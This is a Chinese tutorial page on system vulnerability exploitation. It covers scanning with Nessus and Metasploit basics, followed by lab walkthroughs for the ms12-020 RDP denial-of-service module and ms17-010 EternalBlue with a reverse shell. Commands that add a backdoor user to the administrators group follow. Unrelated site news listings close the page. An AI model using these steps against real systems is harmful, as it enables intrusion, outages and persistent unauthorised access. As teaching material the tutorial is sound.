系统漏洞利用
系统漏洞利用安全漏洞基本概念漏洞Vulnerability又叫脆弱性这一概念早在1947年冯•诺依曼建立计算机系统结构理论时就有涉及他认为计算机的发展和自然生命有相似性一个计算机系统也有天生的类似基因的缺陷也可能在使用和发展过程中产生意想不到的问题。197080年代早期黑客的出现和第一个计算机病毒的产生软件漏洞逐渐引起人们的关注。随着计算机应用的发展和互联网络的出现漏洞相继在软件、硬件、管理过程甚至人的环节出现引起病毒泛滥、黑客猖獗使得安全漏洞成为网络空间的一个现实、热门话题。漏洞成因实现漏洞是安全漏洞中最大的一类大多数我们接触到的安全漏洞都属于这一类。实现类漏洞是由于在程序编码时不够严谨或对于安全性 的考虑不周而产生的漏洞缓冲区溢出类漏洞是最典型的实现漏洞设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备配置漏洞是由于软件的配置或者不恰当的配置导致的安全漏洞。例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中默认情况下会允许远程用户建立空会话枚举系统里的各项NetBIOS信息。这里空会话指可以用空的用户名和空的口令通过NetBIOS协议登录到远程的Windows系统中漏洞信息管理CVECommon Vulnerabilities Exposures通用漏洞披露美国国家漏洞数据库NVDhttp://cve.mitre.orgCVE官网http://www.cnnvd.org.cn/index.html国家信息安全漏洞库(CNNVD)http://www.nsfocus.net/绿盟科技http://www.scap.org.cn/SCAP 安全内容自动化协议中文社区安全漏洞检测技术目标研究专门的技术手段和方法建立多角度的漏洞检测能力经验向理论转化形成自动化、规模化能力方法静态分析分析代码动态分析漏洞扫描又可分为本地扫描和远程扫描常见的系统漏洞扫描器系统漏洞扫描器是相对于WEB应用漏洞扫描器而言扫描器主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具软件类NESSUS、OpenVAS、Nmap硬件类​ 绿盟远程安全评估系统​ 启明天境脆弱性扫描与管理系统​ 杭州迪普漏洞扫描系统​ 榕基风险管理系统​ 网御漏洞扫描系统系统漏洞识别原理漏洞识别的主要方法可以分为原理扫描和推断扫描两类在实际实现过程中扫描器开发者会根据漏洞的特点不同选择不同的漏洞识别技术来进行漏洞识别识别技术检测思路准确率检测效率对目标的影响适用场景原理扫描利用漏洞形成的原因和漏洞的特点尝试对漏洞进行利用并根据漏洞利用的结果来判断漏洞是否存在。基于漏洞原理进行识别准确率高。步骤多检测速度较慢对目标影响较大可能导致目标宕机或破坏程序和数据常用于WEB应用漏洞扫描和一些利用后不影响系统运行的漏洞尤其不适用于拒绝服务漏洞。推断扫描推断扫描不直接利用漏洞而是寻找其他漏洞存在的证据并以此推断漏洞存在。版本检查是推断扫描的常用方式之一准确率受实现技术和漏洞修复技术的影响有一定的误报率过程简单速度较快不利用漏洞对目标影响较小适用于通用软件的扫描在大规模的扫描任务中有比较明显的优势。NESSUS介绍与利用NESSUS是目前全世界最多人使用的系统漏洞扫描与分析软件具有能够提供完整的电脑漏洞扫描服务并随时更行其漏洞数据库。可同时在本机或远端上遥控进行系统的漏洞分析扫描运作效能能随着系统的资源而进行调整。可自行定义插件Plug-in等特点NESSUS功能介绍​ 打开浏览器输入http://localhost:8834进入登录页面输入账号密码登录​ 在首页选择new scans新建一个扫描任务新建任务时需要对扫描进行选择或配置带有upgrade标签的是需要升级成企业版或者专业版才能使用​ 在scan Library中选择Basic Network Scan进行配置通常情况下只对General一般选项、Discovery主机发现、Assessment风险评估、及Advanced高级选项进行配置NESSUS的使用使用NESSUS进行扫描的具体步骤在New Scan -Basic Network Scan 下设置项目名称与描述设置归属栏目为my scans输入目标主机地址或网段。可在首页查看扫描记录点击对应的扫描任务可查看任务可查看任务的详细信息选择扫描任务进入后可查看扫描信息。MetaSploit介绍与利用Metasploit就是一个漏洞利用框架。全称叫做The Metasploit Framework简称叫做MSF。Metasploit作为全球最受欢迎的工具不仅仅是因为它的方便性和强大性更重要的是它的框架。它允许使用者开发自己的漏洞脚本从而进行测试。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。专业术语渗透攻击Exploit,指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为。攻击载荷Payload是我们期望目标系统在被渗透攻击之后去执行的代码。Shellcode是在渗透攻击是作为攻击载荷运行的一组机器指令通常用汇编语言编写。模块Module指Metasploit框架中所使用的一段软件代码组件可用于发起渗透攻击或执行某些辅助攻击动作。监听器Listener是Metasploit中用来等待网络连接的组件(生成木马之后发给受害主机监听反弹木马连入本机)。启动Metasploit—控制台启动:msfconsole 常用控制台方式​图形界面启动:​ 输入armitage若提示不存在​ 请输入apt-get install armitage​ 安装后需要使用msfdb init​ 然后输入armitage重要模块介绍:exploits 攻击模块 实施精准打击auxiliary 漏洞辅助模块多用于扫描,嗅探,指纹识别等功能payloads 漏洞载荷模块通常作用是为渗透测试者打开在目标系统上的控制会话连接encoders 编码器模块对payloads进行编码nops 空指令模块最典型的空指令就是空操作evasion 创建反杀毒软件的木马Metasploit的常用命令show exploits 显示可用的渗透攻击模块。search 用来搜寻一些渗透攻击模块可以进行模糊匹配。use 使用某个渗透攻击模块可以通过use命令来使用show 或 search出来的渗透模块。show payloads 显示当前模块可用的攻击载荷show options 显示参数当选择渗透模块后使用show options 会显示该模块所需设置的参数。set 命令是用来设置某些选项的比如使用set 命令设置攻击模块的options参数设置攻击载荷payloads时也是用set命令。exploit/run命令设置完所有参数时使用exploit命令开始进行攻击。使用Metasploit的具体思路搜索攻击模块使用命令search 漏洞信息或编号使用某个模块使用命令use查看配置选项使用命令show options设置选项值使用命令set开始攻击使用命令run/exploitMetaSploit进行ms12-020漏洞利用在kali里面打开metasploit漏洞利用框架搜索ms12-020漏洞利用模块search ms12-020auxiliary/dos/windows/rdp/ms12_020_maxchannelids在kali里面打开metasploit漏洞利用框架搜索ms12-020漏洞利用模块使用模块 use 模块名查看当前模块所需配置项 show optionsRHOST 需设为远程靶机的IP地址设置配置项如set RHOST xxx.xxx.xx.x实施攻击 exploit 或者runMetaSploit进行ms17-010漏洞利用在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块search ms17-010exploit/windows/smb/ms17_010_eternalblue使用利用模块在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利用模块查看配置项 show options在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利用模块查看配置项 show options设置 靶机IP地址设置以TCP反弹一个shell回来设置攻击者IP地址查看配置项–show payloads设置返回监控窗口实施攻击 exploit可以创建用户 net user xxxx 1234 /addxxxx用户名 1234密码net localgroup administrators xxxx /add 将用户添加到管理员组重新打开一个终端 rdesktopIP在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利阿用模块查看配置项设置靶机IP设置攻击者IP地址查看配置项–show payloads设置返回监控窗口实施攻击

相关新闻

2026届必备的六大AI辅助论文网站实际效果

2026届必备的六大AI辅助论文网站实际效果

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 一种具备强大功能的一键生成论文工具, 能迅速完成一系列操作,像文献检索、大纲构…

2026/10/7 12:31:05 阅读更多 →
UE4 HISM与ClusterTree深度解析:从视锥体剔除到移动端优化实战

UE4 HISM与ClusterTree深度解析:从视锥体剔除到移动端优化实战

1. 项目概述:从《幻塔》的流畅体验说起如果你玩过《幻塔》,或者看过它的实机演示,可能会对它在移动端和PC端上,面对广阔无缝大世界和密集植被时,依然能保持相对流畅的画面表现感到好奇。这背后,除了美术团队…

2026/10/8 19:53:00 阅读更多 →
虚幻引擎热更新插件HotPatcher:5分钟极速安装与基础配置指南

虚幻引擎热更新插件HotPatcher:5分钟极速安装与基础配置指南

1. 项目概述如果你正在用虚幻引擎(Unreal Engine, 简称UE)做项目,无论是手游、PC还是主机游戏,迟早会碰到一个头疼的问题:怎么在不重新提交整个安装包的情况下,给玩家更新新内容或者修复Bug&…

2026/10/13 15:53:42 阅读更多 →

最新新闻

双层AI安全治理框架:红队能力原子化与业务风险翻译

双层AI安全治理框架:红队能力原子化与业务风险翻译

1. 这不是“红队”培训手册,而是一套可落地的安全治理操作系统“红队”这个词最近在安全圈被用得有点滥了——有人把它等同于渗透测试,有人当成高级漏洞挖掘的代名词,还有人直接拿它当招聘JD里的流量关键词。但真正做过大型系统攻防对抗的人都…

2026/10/13 22:21:58 阅读更多 →
MCP251XFD驱动:SPI转CAN FD的Linux移植与踩坑指南

MCP251XFD驱动:SPI转CAN FD的Linux移植与踩坑指南

简介:一套完整的MCP2517FD/2518FD控制器局域网络控制器驱动,采用硬件无关设计,仅负责寄存器配置与通信协议处理,可通过I2C到SPI转换器控制相应芯片而无需改动核心代码,并具备自动识别器件型号的能力。压缩包共259个文件…

2026/10/13 22:21:58 阅读更多 →
STM32 F103C8T6驱动AHT10温湿度传感器:I2C采集实战与避坑指南

STM32 F103C8T6驱动AHT10温湿度传感器:I2C采集实战与避坑指南

简介:STM32 F103C8T6与AHT10温湿度传感器集成是环境监测、智能家居类项目的常见场景,这份学习笔记压缩包正是面向此类开发需求整理而成,适合有一定C语言基础、正在入门STM32外设驱动并希望实现温湿度采集的开发者。资源以标准Keil工程形式呈现…

2026/10/13 22:21:58 阅读更多 →
水印核验失效真相:不是漏检,而是信任链断裂

水印核验失效真相:不是漏检,而是信任链断裂

1. 项目概述:水印核验失效背后的技术真相不是“漏检”,而是信任链的断裂“当水印核验可以绕开模型,未检出到底说明了什么”——这个标题一出来,我就在好几个技术群看到有人截图转发,配文是“刚跑完实验,手有…

2026/10/13 22:21:58 阅读更多 →
凸优化与稀疏DOA估计:从l1范数到ADMM的工程实践指南

凸优化与稀疏DOA估计:从l1范数到ADMM的工程实践指南

简介:在无线通信、雷达与声学定位中,DOA估计用于确定多个远距离信号源的来向,而实际活跃源往往远小于潜在数量,形成天然稀疏性。凸优化是稀疏信号恢复的有力工具,这份MATLAB代码包正是围绕该问题设计的实践样例&#x…

2026/10/13 22:21:58 阅读更多 →
Inception-v3迁移学习实战:花卉图像识别模型训练与部署复盘

Inception-v3迁移学习实战:花卉图像识别模型训练与部署复盘

接到这个图像识别项目时,需求其实不复杂:把一批花卉照片按品种自动分类,先跑一个能用的原型出来。当时我翻了一圈模型库,最终拍板用 TensorFlow 的 Inception-v3 配合迁移学习来做,前后一周多点就交付了可用的 Demo。这…

2026/10/13 22:20:57 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/13 16:22:04 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →